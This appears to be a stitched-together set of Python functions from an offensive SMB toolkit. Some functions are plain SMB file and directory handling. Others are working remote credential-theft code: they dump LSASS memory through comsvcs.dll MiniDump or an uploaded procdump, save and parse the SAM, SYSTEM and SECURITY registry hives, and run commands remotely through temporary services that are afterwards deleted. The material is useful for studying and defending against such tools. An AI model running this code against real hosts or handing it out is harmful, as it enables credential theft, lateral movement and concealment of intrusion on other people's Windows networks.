async def open(self, filename, mode = 'r'): self.mode = mode if 'p' in self.mode: self.is_pipe = True if isinstance(filename, str): #then it's a string path, we need to create an SMBFile if filename.startswith('\\\\') != True: raise Exception('Filename as a string MUST be in \\\\<server>\\<share>\\....\\file format!') server_name, t , file_path = filename[2:].split('\\',2) share_name = '\\\\' + server_name + '\\' + t self.share = SMBShare() self.share.fullpath = share_name self.file = SMBFile() self.file.parent_share = self.share self.fullpath = file_path elif isinstance(filename, SMBFile): #this arrived from somewhere else if filename.parent_share.fullpath is None: raise Exception('Parent share MUST be speicfied if open is called with SMBFile object as filename!') #otherwise noone knows the treeid to connect to... self.share = SMBShare() self.share.fullpath = filename.parent_share.fullpath self.file = SMBFile() self.file.fullpath = filename.fullpath else: raise Exception('Filename MUST be either SMBFile or a full path string to the file') #first, connecting to the share. we create a new treeid regardless of it already exists one for this share or not await self.__connect_share(self.share) #then connect to file if 'r' in mode and 'w' in mode: raise ValueError('must have exactly one of read/write mode') if 'r' in mode: desired_access = FileAccessMask.FILE_READ_DATA | FileAccessMask.FILE_READ_ATTRIBUTES share_mode = ShareAccess.FILE_SHARE_READ create_options = CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT file_attrs = 0 create_disposition = CreateDisposition.FILE_OPEN self.file.file_id, smb_reply = await self.connection.create(self.share.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs, return_reply = True) self.file.size = smb_reply.EndofFile elif 'w' in mode: desired_access = FileAccessMask.GENERIC_READ | FileAccessMask.GENERIC_WRITE share_mode = ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE create_options = CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT file_attrs = 0 create_disposition = CreateDisposition.FILE_OPEN_IF #FILE_OPEN ? might cause an issue? self.file.file_id, smb_reply = await self.connection.create(self.share.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs, return_reply = True) self.file.size = smb_reply.EndofFile else: raise Exception('ONLY read and write is supported at the moment!')
async def list_interfaces(self): try: interfaces = [] ipc_file = SMBFile.from_uncpath( '\\\\%s\\IPC$' % self.connection.target.get_hostname_or_ip()) await ipc_file.open(self.connection, 'r') ifaces_raw, err = await self.connection.ioctl( ipc_file.tree_id, b'\xFF' * 16, CtlCode.FSCTL_QUERY_NETWORK_INTERFACE_INFO, data=None, flags=IOCTLREQFlags.IS_FSCTL) if err is not None: raise err for iface_raw in ifaces_raw: t = { 'index': iface_raw.IfIndex, 'cap': iface_raw.Capability, 'speed': iface_raw.LinkSpeed, 'address': str(iface_raw.SockAddr_Storage.Addr), } interfaces.append(t) return interfaces, None except Exception as e: return None, e finally: await ipc_file.close()
async def deploy_service(self, path_to_executable, remote_path=None, service_name=None): """ remote path must be UNC """ try: _, err = await self.connect_rpc('SERVICEMGR') if err is not None: raise err if service_name is None: service_name = os.urandom(4).hex() if remote_path is None: raise NotImplementedError() filename = ntpath.basename(path_to_executable) remote_file_path = remote_path + filename remote_file = SMBFile.from_uncpath(remote_file_path) await self.put_file(path_to_executable, remote_file) command = remote_file_path await self.create_service(service_name, command) return True, None except Exception as e: return None, e
async def run(self): while True: try: cmd = await self.in_q.coro_get() if cmd.cmd_type == SMBFILECMD.OPEN: try: sf = SMBFile.from_remotepath(self.connection, cmd.path) await sf.open(self.connection, cmd.mode) self.filehandle[self.curhandle] = sf self.curhandle += 1 res = SMBFileOpenReply(cmd.cmd_id, self.curhandle - 1) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.READ: try: sf = self.filehandle.get(cmd.handle) await sf.seek(cmd.position, 0) data = await sf.read(cmd.count) res = SMBFileReadReply(cmd.cmd_id, cmd.handle, data) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.CLOSE: try: sf = self.filehandle.get(cmd.handle) await sf.close() del self.filehandle[cmd.handle] res = SMBFileCloseReply(cmd.cmd_id, cmd.handle) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.WRITE: try: sf = self.filehandle.get(cmd.handle) await sf.seek(cmd.position, 0) count = await sf.write(cmd.data) del self.filehandle[cmd.handle] res = SMBFileWriteReply(cmd.cmd_id, cmd.handle, count) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.TERMINATE: for handle in self.filehandle: sf = self.filehandle[handle] await sf.close() del self.filehandle[handle] return except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) return
async def connect(self): # TODO: if the smb connection is not set up, we need to set it up try: unc_path = '\\\\%s\\%s%s' % (self.target.smb_connection.target.get_hostname_or_ip(), 'IPC$', self.target.pipe) self.smbfile = SMBFile.from_uncpath(unc_path) _, err = await self.smbfile.open(self.target.smb_connection, 'wp') return True, err except Exception as e: return None, e
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ smbfile = SMBFile.from_remotepath(self.connection, remote_path) await smbfile.open(self.connection, 'w') with open(local_path, 'rb') as f: await smbfile.write_buffer(f) await smbfile.close() return True
async def run(self): try: self.task_q = asyncio.Queue() self.target_gen_task = asyncio.create_task(self.__target_gen()) while True: t = await self.task_q.get() if t is None: return True, None tid, target = t unc = PureWindowsPath(target) file_name = unc.name print() connection = self.smb_mgr.create_connection_newtarget( target.replace('\\\\', '').split('\\')[0]) async with connection: _, err = await connection.login() if err is not None: raise err print(target) smbfile = SMBFile.from_uncpath(target) _, err = await smbfile.open(connection, 'r') if err is not None: logger.info('Error Downloading file %s' % target) continue if self.show_progress is True: pbar = tqdm.tqdm(desc='Downloading %s' % file_name, total=smbfile.size, unit='B', unit_scale=True, unit_divisor=1024) with open(file_name, 'wb') as f: async for data, err in smbfile.read_chunked(): if err is not None: logger.info('Error Downloading file %s' % target) continue if data is None: break f.write(data) if self.show_progress is True: pbar.update(len(data)) return True, None except Exception as e: return False, e
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ try: smbfile = SMBFile.from_remotepath(self.connection, remote_path) _, err = await smbfile.open(self.connection, 'w') if err is not None: return False, err with open(local_path, 'rb') as f: total_writen, err = await smbfile.write_buffer(f) await smbfile.close() return total_writen, None except Exception as e: return False, e
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ try: smbfile = SMBFile.from_remotepath(self.connection, remote_path) _, err = await smbfile.open(self.connection, 'w') if err is not None: return False, None with open(local_path, 'rb') as f: await smbfile.write_buffer(f) await asyncio.sleep( 0) #to make sure we are not consuming all CPU await smbfile.close() return True, None except Exception as e: return False, e
async def deploy_service(self, path_to_executable, remote_path = None, service_name = None): """ remote path must be UNC """ if service_name is None: service_name = os.urandom(4).hex() if remote_path is None: raise NotImplementedError() filename = ntpath.basename(path_to_executable) remote_file_path = remote_path + filename remote_file = SMBFile.from_uncpath(remote_file_path) await self.put_file(path_to_executable, remote_file) command = remote_file_path await self.create_service(service_name, command) return True, None
async def task_dump_lsass(self, lsass_file_name=None, silent=False): try: _, err = await self.connect_rpc('TSCH') if err is not None: raise err if lsass_file_name is None: lsass_file_name = os.urandom(4).hex() + '.arj' command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name logger.debug('Command: %s' % command) res, err = await self.tasks_execute_commands([command]) if err is not None: raise err if silent is False: print( '[%s] Dumping task created on remote end, now waiting...' % self.connection.target.get_hostname_or_ip()) for _ in range(5): await asyncio.sleep(5) temp = SMBFile.from_remotepath( self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name) _, err = await temp.open(self.connection) if err is not None: continue if silent is False: print('[%s] Remote file location: C:\\Windows\\Temp\\%s' % (self.connection.target.get_hostname_or_ip(), lsass_file_name)) return temp, None return None, err except Exception as e: return None, e
async def list(self, connection): """ Lists all files and folders in the directory directory: SMBDirectory fills the SMBDirectory's data """ desired_access = FileAccessMask.FILE_READ_DATA share_mode = ShareAccess.FILE_SHARE_READ create_options = CreateOptions.FILE_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT file_attrs = 0 create_disposition = CreateDisposition.FILE_OPEN try: file_id = await connection.create(self.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs) except Exception as e: return False, e try: while True: fileinfos = await connection.query_directory( self.tree_id, file_id) if not fileinfos: break for info in fileinfos: if info.FileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY: dirname = info.FileName if info.FileName in ['.', '..']: continue subdir = SMBDirectory() subdir.tree_id = self.tree_id if self.fullpath != '': subdir.fullpath = '%s\\%s' % (self.fullpath, info.FileName) else: subdir.fullpath = info.FileName subdir.unc_path = '%s\\%s' % (self.unc_path, info.FileName) subdir.parent_dir = self subdir.name = info.FileName subdir.creation_time = info.CreationTime subdir.last_access_time = info.LastAccessTime subdir.last_write_time = info.LastWriteTime subdir.change_time = info.ChangeTime subdir.allocation_size = info.AllocationSize subdir.attributes = info.FileAttributes self.subdirs[subdir.name] = subdir else: file = SMBFile() #file.parent_share = directory.parent_share file.tree_id = self.tree_id file.parent_dir = None if self.fullpath != '': file.fullpath = '%s\\%s' % (self.fullpath, info.FileName) file.unc_path = '%s\\%s' % (self.unc_path, info.FileName) else: file.fullpath = info.FileName file.unc_path = '%s\\%s' % (self.unc_path, info.FileName) file.name = info.FileName file.size = info.EndOfFile file.creation_time = info.CreationTime file.last_access_time = info.LastAccessTime file.last_write_time = info.LastWriteTime file.change_time = info.ChangeTime file.allocation_size = info.AllocationSize file.attributes = info.FileAttributes self.files[file.name] = file return True, None except Exception as e: return False, e finally: if file_id is not None: await connection.close(self.tree_id, file_id)
async def list_gen(self, connection): """ Lists all files and folders in the directory, yields the results as they arrive directory: SMBDirectory DOESN'T fill the SMBDirectory's data """ self.files = {} self.subdirs = {} desired_access = FileAccessMask.FILE_READ_DATA share_mode = ShareAccess.FILE_SHARE_READ create_options = CreateOptions.FILE_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT file_attrs = 0 create_disposition = CreateDisposition.FILE_OPEN if not self.tree_id: tree_entry, err = await connection.tree_connect( self.get_share_path()) if err is not None: yield self, 'dir', err return self.tree_id = tree_entry.tree_id file_id, err = await connection.create(self.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs) if err is not None: yield self, 'dir', err return try: while True: fileinfos, err = await connection.query_directory( self.tree_id, file_id) if err is not None: raise err if not fileinfos: break for info in fileinfos: if info.FileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY: dirname = info.FileName if info.FileName in ['.', '..']: continue subdir = SMBDirectory() subdir.tree_id = self.tree_id if self.fullpath != '': subdir.fullpath = '%s\\%s' % (self.fullpath, info.FileName) else: subdir.fullpath = info.FileName subdir.unc_path = '%s\\%s' % (self.unc_path, info.FileName) subdir.parent_dir = self subdir.name = info.FileName subdir.creation_time = info.CreationTime subdir.last_access_time = info.LastAccessTime subdir.last_write_time = info.LastWriteTime subdir.change_time = info.ChangeTime subdir.allocation_size = info.AllocationSize subdir.attributes = info.FileAttributes yield subdir, 'dir', None else: file = SMBFile() file.tree_id = self.tree_id file.parent_dir = None if self.fullpath != '': file.fullpath = '%s\\%s' % (self.fullpath, info.FileName) file.unc_path = '%s\\%s' % (self.unc_path, info.FileName) else: file.fullpath = info.FileName file.unc_path = '%s\\%s' % (self.unc_path, info.FileName) file.name = info.FileName file.size = info.EndOfFile file.creation_time = info.CreationTime file.last_access_time = info.LastAccessTime file.last_write_time = info.LastWriteTime file.change_time = info.ChangeTime file.allocation_size = info.AllocationSize file.attributes = info.FileAttributes yield file, 'file', None except Exception as e: yield self, 'dir', e return finally: if file_id is not None: await connection.close(self.tree_id, file_id)
async def service_dump_lsass(self, lsass_file_name=None, silent=False): try: _, err = await self.connect_rpc('SERVICEMGR') if err is not None: raise err if lsass_file_name is None: lsass_file_name = os.urandom(4).hex() + '.arj' command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name service_name = os.urandom(4).hex() display_name = service_name batch_file = os.urandom(4).hex() + '.bat' #totally not from impacket command = '%%COMSPEC%% /Q /c echo %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % ( command, batch_file, batch_file, batch_file) logger.debug('Service: %s' % service_name) logger.debug('Command: %s' % command) #return None, None res, err = await self.named_rpcs['SERVICEMGR'].create_service( service_name, display_name, command, scmr.SERVICE_DEMAND_START) if err is not None: raise err if silent is False: print('[%s] Service created with name: %s' % (self.connection.target.get_hostname_or_ip(), service_name)) _, err = await self.start_service(service_name) for _ in range(5): await asyncio.sleep(5) temp = SMBFile.from_remotepath( self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name) _, err = await temp.open(self.connection) if err is not None: continue if silent is False: print( '[%s] Dump file is now accessible here: C:\\Windows\\Temp\\%s' % (self.connection.target.get_hostname_or_ip(), lsass_file_name)) return temp, None return None, err except Exception as e: return None, e finally: _, err = await self.delete_service(service_name) if err is not None: logger.debug('Failed to delete service!') if silent is False: print('[%s] Failed to remove service: %s' % (self.connection.target.get_hostname_or_ip(), service_name)) else: if silent is False: print('[%s] Removed service: %s' % (self.connection.target.get_hostname_or_ip(), service_name))
def get_file(self): return SMBFile.from_smburl(self)
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import SMBServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logging.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logging.debug( '[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != SMBServiceStatus.RUNNING: logging.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logging.debug( '[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader( SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logging.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader=files.get('SAM'), security_reader=files.get('SECURITY'), software_reader=files.get('SOFTWARE')) except Exception as e: print(e) logging.debug('[REGDUMP] Hives parsed OK!') logging.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logging.debug('[REGDUMP] Deleting remote files OK!') return po
async def regfile(url, system, sam=None, security=None, software=None, smb_basepath=None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.file import SMBFile from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if smb_basepath is None: smb_basepath = smburl.path if smb_basepath.endswith('/') is False: smb_basepath += '/' smb_basepath = smb_basepath.replace('/', '\\') system_smbfile_path = smb_basepath + system sam_smbfile = None security_smbfile = None software_smbfile = None system_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, system_smbfile_path)) if sam: sam_smbfile_path = smb_basepath + sam sam_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, sam_smbfile_path)) if security: security_smbfile_path = smb_basepath + security security_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, security_smbfile_path)) if software: software_smbfile_path = smb_basepath + software software_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, software_smbfile_path)) po = None async with connection: logging.debug('[REGFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGFILE] Connected to server!') logging.debug('[REGFILE] Opening SYSTEM hive dump file...') # parse files here _, err = await system_smbfile.open(connection) if err is not None: raise err if sam_smbfile is not None: logging.debug('[REGFILE] Opening SAM hive dump file...') _, err = await sam_smbfile.open(connection) if err is not None: raise err if security_smbfile is not None: logging.debug('[REGFILE] Opening SECURITY hive dump file...') _, err = await security_smbfile.open(connection) if err is not None: raise err if software_smbfile is not None: logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') _, err = await software_smbfile.open(connection) if err is not None: raise err logging.debug('[REGFILE] All files opened OK!') logging.debug('[REGFILE] Parsing hive files...') po = await OffineRegistry.from_async_reader( system_smbfile, sam_reader=sam_smbfile, security_reader=security_smbfile, software_reader=software_smbfile) logging.debug('[REGFILE] Hive files parsed OK!') return po
async def lsassdump(url, method='taskexec', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'taskexec': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP] Connected!') async with SMBMachine(connection) as machine: if method == 'taskexec': logging.debug( '[LSASSDUMP] Start dumping LSASS with taskexec method!') logging.info('[LSASSDUMP] File location: %s' % filepath) _, err = await machine.tasks_execute_commands(commands) if err is not None: raise err logging.debug( '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping' ) await asyncio.sleep(10) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP] Opening LSASS dump file...') for _ in range(3): smbfile = SMBFileReader( SMBFile.from_remotepath(connection, filesharepath)) _, err = await smbfile.open(connection) if err is not None: if isinstance(err, SMBException): if err.ntstatus == NTStatus.SHARING_VIOLATION: logging.debug( '[LSASSDUMP] LSASS dump is not yet ready, retrying...' ) await asyncio.sleep(1) continue raise err break else: raise err logging.debug('[LSASSDUMP] LSASS dump file opened!') logging.debug( '[LSASSDUMP] parsing LSASS dump file on the remote host...') mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP] parsing OK!') logging.debug('[LSASSDUMP] Deleting remote dump file...') _, err = await smbfile.delete() if err is not None: logging.info( '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) else: logging.info('[LSASSDUMP] remote LSASS file deleted OK!') return mimi
async def smb_registry(machine, outfolder=None, show_pbar=False, use_share='C$', use_dir='temp2'): try: logger.info('[+] Starting REGDUMP on %s' % machine.connection.target.get_hostname_or_ip()) logger.info('[+] REGDUMP listing shares...') shares = {} async for share, err in machine.list_shares(): if err is not None: return False, err shares[share.name] = share if use_share not in shares: return False, Exception('Requested share name %s was not found!' % use_share) logger.info('[+] REGDUMP creating temp folder on C$...') await shares[use_share].connect(machine.connection ) #connecting to share current_directory = shares[use_share].subdirs[''] await current_directory.list(machine.connection) if use_dir not in current_directory.subdirs: logger.info( '[!] REGDUMP Requested subdir was not found! Creating it...') _, err = await current_directory.create_subdir( use_dir, machine.connection) if err is not None: logger.info( '[-] REGDUMP Failed to create requested directory "%s" Reason: %s' % (use_dir, str(err))) return err await current_directory.list(machine.connection) bpath = '%s:\\%s' % (use_share[0], use_dir) uncbp = '\\%s\\%s' % (use_share, use_dir) samh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) sech = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) sysh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) reshname = { 'SAM': '%s\\%s' % (bpath, samh), 'SAM_unc': '%s\\%s' % (uncbp, samh), 'SECURITY': '%s\\%s' % (bpath, sech), 'SECURITY_unc': '%s\\%s' % (uncbp, sech), 'SYSTEM': '%s\\%s' % (bpath, sysh), 'SYSTEM_unc': '%s\\%s' % (uncbp, sysh), } for hive_name in ['SAM', 'SECURITY', 'SYSTEM']: logger.info('[+] REGDUMP Dumping %s hive to remote path' % hive_name) _, err = await machine.save_registry_hive(hive_name, reshname[hive_name]) if err is not None: logger.info('[-] Failed to dump %s hive' % hive_name) return False, err await asyncio.sleep( 5 ) # sleeping for a bit because the files might not have been written to the remote disk yet logger.info( '[+] REGDUMP Dumping part complete, now parsing the files!') po, err = await parse_regfiles(machine, reshname['SAM_unc'], reshname['SYSTEM_unc'], reshname['SECURITY_unc']) if err is not None: logger.error( '[-] REGDUMP Failed to parse the registry hive files remotely!' ) if outfolder is None: logger.info( '[+] REGDUMP no output folder specified, skipping downloading unparsable registry hives!' ) return False, None logger.info('[+] REGDUMP Downloading registry files as failsafe') for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']: file_name = uname.split('_')[0] + '.reg' file_obj = SMBFile.from_remotepath(machine.connection, reshname[uname]) try: with tqdm(desc='Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(outfolder.joinpath(file_name), 'wb') as outfile: async for data, err in machine.get_file_data( file_obj): if err is not None: raise err if data is None: break outfile.write(data) pbar.update(len(data)) except Exception as e: logger.error('[-] REGDUMP failed to retrieve %s' % file_name) finally: await file_obj.close() logger.info('[+] REGDUMP Sucsessfully downloaded %s' % file_name) else: if outfolder is None: print(str(po)) else: with open(outfolder.joinpath('results.txt'), 'w') as f: f.write(str(po)) return True, None except Exception as e: return False, e finally: logger.info('[+] REGDUMP Removing hive files from remote system') for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']: _, err = await SMBFile.delete_unc(machine.connection, reshname[uname]) if err is not None: logger.warning('[+] REGDUMP Failed to clear up hive file %s' % reshname[uname]) logger.info('[+] REGDUMP on %s finished!' % machine.connection.target.get_hostname_or_ip())
async def smb_task_lsass(machine, outfolder=None, use_share='C$', use_dir='temp2', procdump_local_path='bins', is_32=False): logger.info('[+] Starting LSASS_TASK on %s' % machine.connection.target.get_hostname_or_ip()) try: shares = {} async for share, err in machine.list_shares(): if err is not None: return False, err shares[share.name] = share if use_share not in shares: return False, Exception('Requested share name %s was not found!' % use_share) logger.info('[+] LSASS_TASK creating temp folder on C$...') await shares[use_share].connect(machine.connection ) #connecting to share current_directory = shares[use_share].subdirs[''] await current_directory.list(machine.connection) if use_dir not in current_directory.subdirs: logger.info( '[!] LSASS_TASK Requested subdir was not found! Creating it...' ) _, err = await current_directory.create_subdir( use_dir, machine.connection) if err is not None: logger.info( '[-] LSASS_TASK Failed to create requested directory "%s" Reason: %s' % (use_dir, str(err))) return err await current_directory.list(machine.connection) bpath = '%s:\\%s' % (use_share[0], use_dir) uncbp = '\\%s\\%s' % (use_share, use_dir) pb = '%s.%s' % (os.urandom(8).hex(), 'exe') lb = '%s.%s' % (os.urandom(8).hex(), 'dmp') procdump_basepath = '%s\\%s' % (bpath, pb) procdump_uncpath = '%s\\%s' % (uncbp, pb) lsass_dump_basepath = '%s\\%s' % (bpath, lb) lsass_dump_uncpath = '%s\\%s' % (uncbp, lb) logger.info('[+] LSASS_TASK Uploading procdump binary to %s' % (procdump_uncpath, )) procname = 'procdump64.exe' if is_32 is True: procname = 'procdump.exe' procpath = Path(str(procdump_local_path)).joinpath(procname) _, err = await machine.put_file(str(procpath), procdump_uncpath) if err is not None: logger.error('[-] Failed to upload procdump! Reason: %s' % err) return False, err prcdump_cmd = '%s -accepteula -ma lsass.exe %s' % (procdump_basepath, lsass_dump_basepath) logger.info( '[+] LSASS_TASK Executing procdump on remote machine. Cmd: %s' % prcdump_cmd) _, err = await machine.tasks_execute_commands([prcdump_cmd]) if err is not None: logger.error( '[-] Failed to execute command on the remote end! Reason: %s' % err) return False, err logger.info( '[+] LSASS_TASK Obligatory sleep to wait for prcdump to finish dumping...' ) await asyncio.sleep(5) logger.info('[+] LSASS_TASK Parsing LSASS') res, err = await parse_lsass(machine, lsass_dump_uncpath) if err is None: if outfolder is None: print(str(res.to_grep())) else: with open(outfolder.joinpath('results.txt'), 'w') as f: f.write(str(res)) with open(outfolder.joinpath('results.json'), 'w') as f: f.write(res.to_json()) with open(outfolder.joinpath('results.grep'), 'w') as f: f.write(res.to_grep()) else: logger.error( '[-] LSASS_TASK Failed to parse the remote lsass dump!') if outfolder is None: logger.info( '[!] LSASS_TASK no output folder specified, skipping downloading unparsable dumpfile!' ) return False, None logger.info('[+] LSASS_TASK Downloading dumpfile as failsafe') file_name = 'lsass.dmp' file_obj = SMBFile.from_remotepath(machine.connection, lsass_dump_uncpath) with tqdm(desc='Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(outfolder.joinpath(file_name), 'wb') as outfile: async for data, err in machine.get_file_data(file_obj): if err is not None: raise err if data is None: break outfile.write(data) pbar.update(len(data)) await file_obj.close() logger.info('[+] LSASS_TASK Sucsessfully downloaded %s' % file_name) logger.info('[+] LSASS_TASK Parsing success, clearing up...') _, err = await machine.del_file(lsass_dump_uncpath) if err is not None: logger.warning( '[!] LSASS_TASK Failed to clear up LSASS dump file!') _, err = await machine.del_file(procdump_uncpath) if err is not None: logger.warning( '[!] LSASS_TASK Failed to clear up Procdump executable!') return True, None except Exception as e: print(str(e)) return None, e
async def service_cmd_exec(self, command, display_name=None, service_name=None): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ try: _, err = await self.connect_rpc('SERVICEMGR') if err is not None: raise err if service_name is None: service_name = os.urandom(4).hex() if display_name is None: display_name = service_name batch_file = os.urandom(4).hex() + '.bat' temp_file_name = os.urandom(4).hex() temp_file_location = '\\ADMIN$\\temp\\%s' % temp_file_name temp_location = '%%windir%%\\temp\\%s' % (temp_file_name) #totally not from impacket command = '%%COMSPEC%% /Q /c echo %s ^> %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % ( command, temp_location, batch_file, batch_file, batch_file) logger.debug('Command: %s' % command) res, err = await self.named_rpcs['SERVICEMGR'].create_service( service_name, display_name, command, scmr.SERVICE_DEMAND_START) if err is not None: raise err logger.debug('Service created. Name: %s' % service_name) _, err = await self.start_service(service_name) #if err is not None: # raise err await asyncio.sleep(5) logger.debug('Opening temp file. Path: %s' % temp_file_location) temp = SMBFile.from_remotepath(self.connection, temp_file_location) _, err = await temp.open(self.connection) if err is not None: raise err async for data, err in temp.read_chunked(): if err is not None: logger.debug('Temp file read failed!') raise err if data is None: break yield data, err logger.debug('Deleting temp file...') _, err = await temp.delete() if err is not None: logger.debug('Failed to delete temp file!') logger.debug('Deleting service...') _, err = await self.delete_service(service_name) if err is not None: logger.debug('Failed to delete service!') yield None, None except Exception as e: yield None, e